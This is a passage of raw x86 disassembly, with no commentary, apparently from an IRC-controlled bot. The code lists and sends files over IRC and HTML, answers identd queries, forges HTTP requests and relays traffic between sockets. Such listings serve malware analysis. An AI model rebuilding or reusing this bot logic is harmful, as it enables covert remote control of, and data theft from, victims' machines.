[ebp+var_248] push eax push [ebp+arg_4] call dword_4CB6A4 cmp [ebp+arg_C], ebx jz short loc_40FB64 push [ebp+arg_C] call sub_41AFE0 cmp eax, 2 pop ecx jbe short loc_40FB64 push [ebp+arg_C] call sub_41AFE0 sub eax, 3 pop ecx jz short loc_40FB15 loc_40FB09: ; CODE XREF: sub_40F96B+1A8j mov ecx, [ebp+arg_C] cmp byte ptr [eax+ecx], 2Fh jz short loc_40FB15 dec eax jnz short loc_40FB09 loc_40FB15: ; CODE XREF: sub_40F96B+19Cj ; sub_40F96B+1A5j inc eax push eax lea eax, [ebp+var_594] push [ebp+arg_C] push eax call sub_41B5F0 add esp, 0Ch lea eax, [ebp+var_594] push eax push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CB6A4 loc_40FB64: ; CODE XREF: sub_40F96B+180j ; sub_40F96B+18Ej lea eax, [ebp+var_388] push eax push edi nop call near ptr 25F0000h lea ecx, [ebp+var_388] mov [ebp+arg_0], eax push ecx push eax call near ptr 2790000h nop test eax, eax jz loc_40FF54 mov edi, 1FFh loc_40FB90: ; CODE XREF: sub_40F96B+5E3j cmp [ebp+var_388], ebx jz loc_40FF3C lea eax, [ebp+var_35C] push offset a__ ; ".." push eax call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40FF3C lea eax, [ebp+var_35C] push offset a_ ; "." push eax call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40FF3C lea eax, [ebp+var_20] push eax lea eax, [ebp+var_374] push eax nop call near ptr 2780000h lea eax, [ebp+var_18] push eax lea eax, [ebp+var_20] push eax call near ptr 27707B3h nop mov ax, [ebp+var_10] mov ecx, offset aPm ; "PM" cmp ax, 0Ch ja short loc_40FC05 mov ecx, offset aAm ; "AM" loc_40FC05: ; CODE XREF: sub_40F96B+293j cmp ax, 0Ch movzx eax, ax jbe short loc_40FC11 sub eax, 0Ch loc_40FC11: ; CODE XREF: sub_40F96B+2A1j push ecx movzx ecx, [ebp+var_E] push ecx push eax movzx eax, [ebp+var_18] push eax movzx eax, [ebp+var_12] push eax movzx eax, [ebp+var_16] push eax lea eax, [ebp+var_48] push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s" push eax call sub_41B886 add esp, 20h test byte ptr [ebp+var_388], 10h jz loc_40FDB4 inc [ebp+var_8] cmp [ebp+arg_8], ebx jz short loc_40FC85 lea eax, [ebp+var_35C] push eax push offset aS ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push [ebp+arg_8] push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n" jmp loc_40FEFD ; --------------------------------------------------------------------------- loc_40FC85: ; CODE XREF: sub_40F96B+2E0j cmp [ebp+arg_C], ebx jz loc_40FD6F push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CB6A4 lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset aSS_0 ; "%s%s/" push edi push eax call sub_41B980 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CB6A4 lea eax, [ebp+var_35C] push eax call sub_41AFE0 cmp eax, 1Eh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_40FD25 push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>" jmp short loc_40FD2A ; --------------------------------------------------------------------------- loc_40FD25: ; CODE XREF: sub_40F96B+3B1j push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>" loc_40FD2A: ; CODE XREF: sub_40F96B+3B8j lea eax, [ebp+var_248] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CB6A4 lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_40FEFE ; --------------------------------------------------------------------------- loc_40FD6F: ; CODE XREF: sub_40F96B+31Dj lea eax, [ebp+var_35C] push eax push offset aS ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push offset a31s21s ; "%-31s %-21s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 14h jmp loc_40FF0D ; --------------------------------------------------------------------------- loc_40FDB4: ; CODE XREF: sub_40F96B+2D4j inc [ebp+var_4] cmp [ebp+arg_8], ebx jz short loc_40FDF3 push ebx push [ebp+var_368] call sub_416923 pop ecx pop ecx push eax lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push [ebp+arg_8] push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n" push esi loc_40FDDF: ; CODE XREF: sub_40F96B+577j lea eax, [ebp+var_248] push eax call sub_41B980 add esp, 1Ch jmp loc_40FF0D ; --------------------------------------------------------------------------- loc_40FDF3: ; CODE XREF: sub_40F96B+44Fj cmp [ebp+arg_C], ebx jz loc_40FEE7 push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CB6A4 lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset dword_429AD0 push edi push eax call sub_41B980 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CB6A4 lea eax, [ebp+var_35C] push eax call sub_41AFE0 cmp eax, 1Fh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_40FE93 push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>" jmp short loc_40FE98 ; --------------------------------------------------------------------------- loc_40FE93: ; CODE XREF: sub_40F96B+51Fj push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>" loc_40FE98: ; CODE XREF: sub_40F96B+526j lea eax, [ebp+var_248] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CB6A4 mov eax, [ebp+var_368] shr eax, 0Ah push eax lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_40FDDF ; --------------------------------------------------------------------------- loc_40FEE7: ; CODE XREF: sub_40F96B+48Bj push [ebp+var_368] lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n" loc_40FEFD: ; CODE XREF: sub_40F96B+315j push esi loc_40FEFE: ; CODE XREF: sub_40F96B+3FFj lea eax, [ebp+var_248] push eax call sub_41B980 add esp, 18h loc_40FF0D: ; CODE XREF: sub_40F96B+444j ; sub_40F96B+483j lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CB6A4 cmp [ebp+arg_8], ebx jz short loc_40FF3C push 7D0h nop call near ptr 26A0F44h loc_40FF3C: ; CODE XREF: sub_40F96B+22Bj ; sub_40F96B+246j ... lea eax, [ebp+var_388] push eax push [ebp+arg_0] call near ptr 2790000h nop test eax, eax jnz loc_40FB90 loc_40FF54: ; CODE XREF: sub_40F96B+21Aj push [ebp+arg_0] nop call near ptr 2770000h cmp [ebp+arg_8], ebx jz short loc_40FF97 mov eax, [ebp+var_8] cdq push edx push eax call sub_416923 pop ecx pop ecx push eax mov eax, [ebp+var_4] cdq push edx push eax call sub_416923 pop ecx pop ecx push eax lea eax, [ebp+var_248] push [ebp+arg_8] push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"... push eax call sub_41B886 add esp, 14h jmp short loc_40FFCB ; --------------------------------------------------------------------------- loc_40FF97: ; CODE XREF: sub_40F96B+5F5j cmp [ebp+arg_C], ebx jz short loc_40FFB1 lea eax, [ebp+var_248] push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... push eax call sub_41B886 pop ecx pop ecx jmp short loc_40FFCB ; --------------------------------------------------------------------------- loc_40FFB1: ; CODE XREF: sub_40F96B+62Fj push [ebp+var_8] lea eax, [ebp+var_248] push [ebp+var_4] push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n" push eax call sub_41B886 add esp, 10h loc_40FFCB: ; CODE XREF: sub_40F96B+62Aj ; sub_40F96B+644j lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CB6A4 pop edi pop esi xor eax, eax pop ebx leave retn sub_40F96B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FFF1 proc near ; CODE XREF: sub_40F531+13Cp var_404 = byte ptr -404h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 404h push ebx push esi xor esi, esi push edi push esi push esi push 3 push esi push 1 push 80000000h push [ebp+arg_4] mov edi, 400h mov [ebp+var_4], esi nop call near ptr 27308C8h mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_4100A9 push esi push ebx call near ptr 2760A61h nop cmp eax, esi mov [ebp+arg_4], eax jz short loc_4100A2 loc_410036: ; CODE XREF: sub_40FFF1+AFj push 400h lea eax, [ebp+var_404] push esi push eax call sub_41B590 add esp, 0Ch loc_41004B: ; DATA XREF: ___:00438128o cmp edi, [ebp+arg_4] loc_41004E: ; DATA XREF: ___:0043813Co jbe short loc_410053 mov edi, [ebp+arg_4] loc_410053: ; CODE XREF: sub_40FFF1:loc_41004Ej mov eax, [ebp+arg_4] push 2 neg eax push esi push eax push ebx call near ptr 27A0000h nop lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_404] push edi push eax push ebx nop call near ptr 2730000h push esi lea eax, [ebp+var_404] push edi push eax push [ebp+arg_0] call dword_4CB6A4 cmp eax, 0FFFFFFFFh jnz short loc_41009D call dword_4CB5E8 cmp eax, 2733h jnz short loc_4100A2 xor eax, eax loc_41009D: ; CODE XREF: sub_40FFF1+9Bj sub [ebp+arg_4], eax jnz short loc_410036 loc_4100A2: ; CODE XREF: sub_40FFF1+43j ; sub_40FFF1+A8j push ebx nop call near ptr 2690934h loc_4100A9: ; CODE XREF: sub_40FFF1+30j pop edi pop esi pop ebx leave retn sub_40FFF1 endp ; =============== S U B R O U T I N E ======================================= sub_4100AE proc near ; CODE XREF: sub_40F6B4+181p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi push edi call sub_41AFE0 test eax, eax pop ecx jbe short loc_4100D7 loc_4100C1: ; CODE XREF: sub_4100AE+27j cmp byte ptr [esi+edi], 5Ch jnz short loc_4100CB mov byte ptr [esi+edi], 2Fh loc_4100CB: ; CODE XREF: sub_4100AE+17j push edi inc esi call sub_41AFE0 cmp esi, eax pop ecx jb short loc_4100C1 loc_4100D7: ; CODE XREF: sub_4100AE+11j mov eax, edi pop edi pop esi retn sub_4100AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4100DC proc near ; CODE XREF: sub_401ACD+5298p var_4A0 = byte ptr -4A0h var_110 = byte ptr -110h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 4A0h push ebx lea eax, [ebp+var_4A0] push edi push eax push 101h call dword_4CB5C4 push 6 push 1 push 2 call dword_4CB6D4 mov ebx, eax xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_14] call dword_4CB654 push [ebp+arg_10] mov [ebp+var_E], ax call sub_40AAFA pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push ebx call dword_4CB5FC cmp eax, 0FFFFFFFFh jz short loc_4101B9 mov eax, [ebp+arg_20] cmp eax, edi jnz short loc_410155 mov eax, offset dword_43D808 loc_410155: ; CODE XREF: sub_4100DC+72j push esi mov esi, 100h push [ebp+arg_10] push eax lea eax, [ebp+var_110] push [ebp+arg_1C] push [ebp+arg_18] push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"... push esi push eax call sub_41B980 add esp, 1Ch lea eax, [ebp+var_110] push edi push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_110] push eax sub_4100DC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_410190 proc near ; DATA XREF: Themida_:00558F4Co push ebx call dword_4CB6A4 push esi lea eax, [ebp-110h] push edi push eax call sub_41C310 add esp, 0Ch lea eax, [ebp-110h] push edi push esi push eax push ebx call dword_4CB66C pop esi loc_4101B9: ; CODE XREF: sub_4100DC+6Bj push ebx call dword_4CB6EC call dword_4CB5AC lea eax, [ebp-110h] push eax lea eax, [ebp-310h] push eax call sub_41B886 cmp [ebp+14h], edi pop ecx pop ecx jnz short loc_4101F9 push edi lea eax, [ebp-310h] push dword ptr [ebp+10h] push eax push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_409A73 add esp, 14h loc_4101F9: ; CODE XREF: sub_410190+4Ej pop edi pop ebx leave retn sub_410190 endp ; --------------------------------------------------------------------------- loc_4101FD: ; DATA XREF: ___:00401666o ; sub_401ACD+436Ao push ebp mov ebp, esp sub esp, 238h push ebx push esi push edi push 10h pop edi xor esi, esi push edi lea eax, [ebp-1Ch] push esi push eax mov [ebp-8], esi call sub_41B590 add esp, 0Ch mov word ptr [ebp-1Ch], 2 push 71h call dword_4CB654 push esi push 1 push 2 mov [ebp-1Ah], ax mov [ebp-18h], esi call dword_4CB6D4 mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_410361 mov eax, [ebp+8] push edi imul eax, 234h mov dword_43E59C[eax], ebx lea eax, [ebp-1Ch] push eax push ebx call dword_4CB680 cmp eax, 0FFFFFFFFh jz loc_410361 push 5 push ebx call dword_4CB67C cmp eax, 0FFFFFFFFh jz loc_410361 mov [ebp-0Ch], edi mov edi, 200h loc_410288: ; CODE XREF: ___:004102E7j ; ___:0041034Aj ... lea eax, [ebp-0Ch] push eax lea eax, [ebp-2Ch] push eax push ebx call dword_4CB6E8 cmp eax, 0FFFFFFFFh mov [ebp-4], eax jz loc_41035C movzx eax, word ptr [ebp-2Ah] push eax push dword ptr [ebp-28h] call dword_4CB6E0 push eax lea eax, [ebp-238h] push offset dword_43468C push eax call sub_41B886 lea eax, [ebp-238h] push eax call sub_4151AD add esp, 14h lea eax, [ebp-238h] push esi push edi push eax push dword ptr [ebp-4] call dword_4CB66C cmp eax, 0FFFFFFFFh jz short loc_410288 lea eax, [ebp-238h] push esi push eax call sub_417F80 push 0Ch lea eax, [ebp-38h] push esi push eax call sub_41B590 push esi push esi lea eax, [ebp-38h] push 2 push eax call sub_40B08E add esp, 24h push eax push offset aUseridUnixS ; " : USERID : UNIX : %s\r\n" lea eax, [ebp-238h] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp-238h] push esi push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp-238h] push eax push dword ptr [ebp-4] call dword_4CB6A4 cmp eax, 0FFFFFFFFh jz loc_410288 mov dword ptr [ebp-8], 1 jmp loc_410288 ; --------------------------------------------------------------------------- loc_41035C: ; CODE XREF: ___:0041029Dj cmp [ebp-8], esi jnz short loc_410388 loc_410361: ; CODE XREF: ___:00410244j ; ___:00410268j ... call dword_4CB5E8 push eax lea eax, [ebp-238h] push offset dword_434648 push eax call sub_41B886 lea eax, [ebp-238h] push eax call sub_4151AD add esp, 10h loc_410388: ; CODE XREF: ___:0041035Fj push ebx call dword_4CB6EC push dword ptr [ebp-4] call dword_4CB6EC push dword ptr [ebp+8] call sub_40B413 pop ecx push esi nop call near ptr 2710000h pop edi pop esi pop ebx loc_4103AB: ; DATA XREF: sub_401ACD+613Co push ebp mov ebp, esp sub esp, 350h mov eax, [ebp+8] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp-150h] push 10h rep movsd pop edi mov dword ptr [eax+120h], 1 xor esi, esi push edi lea eax, [ebp-14h] push esi push eax call sub_41B590 add esp, 0Ch mov word ptr [ebp-14h], 2 push dword ptr [ebp-44h] call dword_4CB654 push 6 push 1 push 2 mov [ebp-12h], ax mov [ebp-10h], esi mov [ebp-4], edi call dword_4CB6D4 cmp eax, 0FFFFFFFFh mov [ebp+8], eax jz loc_410517 mov ecx, [ebp-40h] push 1 imul ecx, 234h push 401h push esi push eax mov dword_43E59C[ecx], eax call dword_4CB564 lea eax, [ebp-14h] push edi push eax push dword ptr [ebp+8] call dword_4CB680 test eax, eax jnz loc_410517 push 0Ah push dword ptr [ebp+8] call dword_4CB67C test eax, eax jnz loc_410517 loc_41045B: ; CODE XREF: ___:00410471j lea eax, [ebp-4] push eax lea eax, [ebp-28h] push eax push dword ptr [ebp+8] call dword_4CB6E8 mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_41045B movzx eax, word ptr [ebp-26h] push dword ptr [ebp-40h] mov [ebp-14Ch], edi mov [ebp-30h], esi push eax push dword ptr [ebp-24h] call dword_4CB6E0 push eax lea eax, [ebp-350h] push offset unk_4346F4 push eax call sub_41B886 push edi lea eax, [ebp-350h] push 18h push eax call sub_40B0F7 mov [ebp-3Ch], eax imul eax, 234h mov ecx, [ebp-40h] add esp, 20h mov dword_43E594[eax], ecx lea eax, [ebp-18h] push eax lea eax, [ebp-150h] push esi push eax push offset loc_41053C push esi push esi ; --------------------------------------------------------------------------- dw 25E8h dd 900229FBh, 69C44D8Bh, 234C9h, 89C63B00h, 43E5A481h dd 39137400h, 850FD075h, 0FFFFFF63h, 0E890326Ah, 2290A44h dd 0E890EDEBh, 22A034Fh, 46B86850h, 0EE80043h, 5900004Dh ; --------------------------------------------------------------------------- pop ecx jmp short loc_41051A ; --------------------------------------------------------------------------- loc_410517: ; CODE XREF: ___:0041040Ej ; ___:00410442j ... mov edi, [ebp+8] loc_41051A: ; CODE XREF: ___:00410515j push edi call dword_4CB6EC push dword ptr [ebp+8] call dword_4CB6EC push dword ptr [ebp-40h] call sub_40B413 pop ecx push esi call near ptr 2710000h nop pop edi pop esi loc_41053C: ; DATA XREF: ___:004104CFo push ebp mov ebp, esp mov eax, 1344h call sub_41BB20 mov eax, [ebp+8] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp-144h] rep movsd mov ebx, [ebp-30h] push 1 pop ecx mov [ebp-4], ebx push 6 push ecx push 2 mov [eax+120h], ecx call dword_4CB6D4 mov esi, eax xor edi, edi cmp esi, 0FFFFFFFFh mov [ebp+8], esi jz loc_4106F2 push 10h lea eax, [ebp-18h] push edi push eax call sub_41B590 add esp, 0Ch mov word ptr [ebp-18h], 2 push dword ptr [ebp-3Ch] call dword_4CB654 mov [ebp-16h], ax lea eax, [ebp-13Ch] push eax call dword_4CB694 cmp eax, 0FFFFFFFFh mov [ebp-8], eax jnz short loc_4105CC lea eax, [ebp-13Ch] push eax call dword_4CB6D8 jmp short loc_4105DA ; --------------------------------------------------------------------------- loc_4105CC: ; CODE XREF: ___:004105BBj push 2 lea eax, [ebp-8] push 4 push eax call dword_4CB60C loc_4105DA: ; CODE XREF: ___:004105CAj cmp eax, edi jz loc_4106F2 mov eax, [eax+0Ch] push 10h mov eax, [eax] mov eax, [eax] mov [ebp-14h], eax lea eax, [ebp-18h] push eax push esi call dword_4CB5FC cmp eax, 0FFFFFFFFh jz loc_4106F2 movzx eax, word ptr [ebp-16h] push dword ptr [ebp-34h] mov [ebp-20h], edi push eax push dword ptr [ebp-14h] call dword_4CB6E0 push eax lea eax, [ebp-344h] push offset unk_43477C push eax call sub_41B886 push esi lea eax, [ebp-344h] push 18h push eax call sub_40B0F7 imul ebx, 234h mov [ebp-30h], eax imul eax, 234h mov ecx, [ebp-34h] lea esi, dword_43E59C[ebx] mov dword_43E594[eax], ecx add esp, 20h mov ecx, [esi] mov dword_43E5A0[eax], ecx lea eax, [ebp-1Ch] push eax lea eax, [ebp-144h] push edi push eax push offset loc_410723 push edi push edi nop call near ptr 26B0000h mov ecx, [ebp-30h] imul ecx, 234h cmp eax, edi mov dword_43E5A4[ecx], eax jz short loc_4106DF loc_41068C: ; CODE XREF: ___:00410699j cmp [ebp-20h], edi jnz short loc_41069B push 32h nop call near ptr 26A0F44h jmp short loc_41068C ; --------------------------------------------------------------------------- loc_41069B: ; CODE XREF: ___:0041068Fj mov ebx, 1000h loc_4106A0: ; CODE XREF: ___:004106DBj push ebx lea eax, [ebp-1344h] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp-1344h] push edi push ebx push eax push dword ptr [esi] call dword_4CB66C cmp eax, edi jle short loc_4106F2 push edi push eax lea eax, [ebp-1344h] push eax push dword ptr [ebp+8] call dword_4CB6A4 cmp eax, 0FFFFFFFFh jnz short loc_4106A0 jmp short loc_4106F2 ; --------------------------------------------------------------------------- loc_4106DF: ; CODE XREF: ___:0041068Aj nop call near ptr 26B0857h push eax push offset unk_43473C call sub_415221 pop ecx pop ecx loc_4106F2: ; CODE XREF: ___:00410580j ; ___:004105DCj ... mov eax, [ebp-4] imul eax, 234h push dword_43E59C[eax] call dword_4CB6EC push dword ptr [ebp+8] call dword_4CB6EC push dword ptr [ebp-4] call sub_40B413 pop ecx push edi call near ptr 2710000h nop pop edi pop esi pop ebx loc_410723: ; DATA XREF: ___:0041066Co push ebp mov ebp, esp mov eax, 1128h call sub_41BB20 mov eax, [ebp+8] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp-128h] rep movsd mov esi, [ebp-14h] mov dword ptr [eax+124h], 1 imul esi, 234h mov edi, 1000h loc_41075A: ; CODE XREF: ___:0041079Fj push edi lea eax, [ebp-1128h] push 0 push eax call sub_41B590 add esp, 0Ch lea eax, [ebp-1128h] push 0 push edi push eax push dword_43E5A0[esi] call dword_4CB66C test eax, eax jle short loc_4107A1 push 0 push eax lea eax, [ebp-1128h] push eax push dword_43E59C[esi] call dword_4CB6A4 cmp eax, 0FFFFFFFFh jnz short loc_41075A loc_4107A1: ; CODE XREF: ___:00410784j push dword_43E5A0[esi] call dword_4CB6EC push dword ptr [ebp-14h] call sub_40B413 pop ecx push 0 nop ; --------------------------------------------------------------------------- db 0E8h, 42h, 0F8h ; --------------------------------------------------------------------------- das add bl, [edi+5Eh] push ebp mov ebp, esp sub esp, 3D4h mov eax, [ebp+8] push ebx push esi push edi push 78h mov esi, eax pop ecx lea edi, [ebp-3D4h] push 1 mov dword ptr [ebp-0Ch], 1Eh pop ebx rep movsd mov [eax+1DCh], ebx mov eax, [ebp-208h] mov [ebp+8], eax imul eax, 234h lea esi, dword_43E59C[eax] xor edi, edi mov [ebp-8], edi mov [ebp-1F4h], ebx mov eax, [esi] mov [ebp-1F0h], eax lea eax, [ebp-0Ch] push eax push edi lea eax, [ebp-1F4h] push edi push eax push edi call dword_4CB63C test eax, eax jnz short loc_410844 push dword ptr [esi] call dword_4CB6EC push dword ptr [ebp+8] call sub_40B413 pop ecx push edi nop call near ptr 2710000h loc_410844: ; CODE XREF: ___:0041082Aj push edi lea eax, [ebp-3Ch] push ebx push eax push dword ptr [esi] call dword_4CB66C lea eax, [ebp-2Ch] push 10h push eax push dword ptr [esi] call sub_4109C5 lea eax, [ebp-4Ch] push 10h push eax push dword ptr [esi] call sub_4109C5 lea eax, [ebp-0F0h] push 40h push eax push dword ptr [esi] call sub_4109C5 add esp, 24h lea eax, [ebp-4] mov dword ptr [ebp-4], 10h push eax lea eax, [ebp-1Ch] push eax push dword ptr [esi] call dword_4CB5A8 test eax, eax jz short loc_4108BD call dword_4CB5E8 push eax push offset unk_434854 call sub_415221 push dword ptr [ebp+8] call sub_40B413 add esp, 0Ch push edi call near ptr 2710000h nop loc_4108BD: ; CODE XREF: ___:00410898j push 2 lea eax, [ebp-18h] push 4 push eax call dword_4CB60C cmp eax, edi jnz short loc_4108E7 push dword ptr [ebp-18h] call dword_4CB6E0 push eax lea eax, [ebp-0B0h] push eax call sub_41B886 jmp short loc_4108F5 ; --------------------------------------------------------------------------- loc_4108E7: ; CODE XREF: ___:004108CDj push dword ptr [eax] lea eax, [ebp-0B0h] push eax call sub_41BEB0 loc_4108F5: ; CODE XREF: ___:004108E5j pop ecx pop ecx push edi push ebx push offset dword_43D808 push dword ptr [esi] call dword_4CB6A4 cmp dword_4CE3B8, edi jnz short loc_410957 push dword ptr [ebp-18h] lea eax, [ebp-350h] push eax lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax call sub_410A1F add esp, 10h test eax, eax jnz short loc_410957 push edi push 13h push offset aPermissionDeni ; "Permission denied\n" push dword ptr [esi] call dword_4CB6A4 push dword ptr [esi] call dword_4CB6EC push dword ptr [ebp+8] call sub_40B413 pop ecx push edi nop call near ptr 2710000h loc_410957: ; CODE XREF: ___:0041090Cj ; ___:0041092Dj lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax push offset unk_434818 call sub_415221 push dword ptr [ebp+8] call sub_410CD6 add esp, 10h test eax, eax jnz short loc_41099E call near ptr 26B0857h nop push eax push offset unk_4347EC call sub_415221 push dword ptr [ebp+8] call sub_40B413 add esp, 0Ch push ebx nop call near ptr 2710000h loc_41099E: ; CODE XREF: ___:00410979j lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax push offset unk_4347C0 call sub_415221 push dword ptr [ebp+8] call sub_40B413 add esp, 10h push edi nop call near ptr 2710000h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4109C5 proc near ; CODE XREF: ___:0041085Ap ; ___:00410867p ... var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push esi push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_4CB66C cmp eax, 1 jnz short loc_410A15 mov esi, [ebp+arg_4] loc_4109E3: ; CODE XREF: sub_4109C5+41j mov al, [ebp+var_1] mov [esi], al inc esi dec [ebp+arg_8] jz short loc_410A0A test al, al jz short loc_410A19 push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_4CB66C cmp eax, 1 jz short loc_4109E3 jmp short loc_410A15 ; --------------------------------------------------------------------------- loc_410A0A: ; CODE XREF: sub_4109C5+27j push offset unk_434880 call sub_415221 pop ecx loc_410A15: ; CODE XREF: sub_4109C5+19j ; sub_4109C5+43j xor eax, eax jmp short loc_410A1C ; --------------------------------------------------------------------------- loc_410A19: ; CODE XREF: sub_4109C5+2Bj push 1 pop eax loc_410A1C: ; CODE XREF: sub_4109C5+52j pop esi leave retn sub_4109C5 endp ; =============== S U B R O U T I N E ======================================= sub_410A1F proc near ; CODE XREF: ___:00410923p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_0] push [esp+4+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_410A4A push [esp+arg_4] push [esp+4+arg_0] push offset dword_4348AC call sub_415221 add esp, 0Ch xor eax, eax retn ; --------------------------------------------------------------------------- loc_410A4A: ; CODE XREF: sub_410A1F+11j push 1 pop eax retn sub_410A1F endp ; --------------------------------------------------------------------------- word_410A4E dw 8B55h ; DATA XREF: sub_401ACD+23D5o dd 0A4EC81ECh, 8B000005h, 57560845h, 8B59786Ah, 0ECBD8DF0h dd 6AFFFFFDh, 5FA5F301h, 1DCB889h, 858D0000h, 0FFFFFA5Ch dd 2026850h, 15FF0000h, 4CB5C4h, 0C63BF633h, 68501D74h dd 434A1Ch, 478CE8h, 0B475FF00h, 0FFA976E8h, 0CC483FFh dd 59E89057h, 57022FF5h, 410CCC68h, 18DE800h, 85900239h dd 902975C0h, 29FD9AE8h, 0D8685002h, 0E8004349h, 4759h dd 15FF5959h, 4CB5ACh, 0E8B475FFh, 0FFFFA93Bh, 21E85759h dd 90022FF5h, 8D106A53h, 5056E045h, 0AAA3E8h, 0CC48300h dd 0E045C766h, 75FF0002h, 5415FFB0h, 6A004CB6h, 26A5706h dd 0E2458966h, 0FFE47589h, 4CB6D415h, 83D88B00h, 840FFFFBh dd 13Bh, 6AB4458Bh, 34C06910h, 89000002h, 43E59C98h, 0E0458D00h dd 15FF5350h, 4CB680h, 850FC085h, 117h, 0FFFFFF68h, 15FF537Fh dd 4CB67Ch, 850FC085h, 103h, 43499C68h, 0F045C700h, 0Ch dd 